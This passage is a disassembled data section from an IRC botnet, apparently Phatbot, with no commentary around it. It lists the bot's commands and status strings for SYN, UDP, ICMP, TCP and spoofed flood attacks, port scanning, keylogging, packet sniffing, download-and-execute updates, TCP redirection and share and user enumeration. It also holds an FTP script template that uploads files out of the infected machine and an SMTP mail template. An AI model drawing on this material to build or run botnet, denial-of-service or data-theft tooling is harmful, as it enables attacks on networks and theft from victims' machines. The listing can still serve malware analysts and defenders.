		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D44	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D50	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D78	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D94	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429DB0	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429DB8	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DD4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DE0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DE8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DF0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429E2C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E58	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E94	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429EC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429EFC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429F14	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429F28	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F38	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F80	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429FBC	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FF4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42A010	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A034	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A070	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A0A0	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A0AC	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A108	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A140	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A16C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A1A8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A240	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A2A8	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A31C	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A35C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A388	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A408	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A464	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A470	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A4AC	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A534	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A59C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5D0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A634	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A6A4	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A6CC	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A70C	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A744	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A78C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A82C	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A880	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8B8	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A900	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A938	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A970	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A9B4	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9FC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; ___:00437FA8o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437FB8o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB38	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB74	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42ABBC	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C70o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C80o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42ADB4	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADDC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADFC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE44	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE90	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AECC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AF08	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AF2C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF4C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF78	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AFC4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFE4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B01C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B050	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B07C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0D4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B114	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
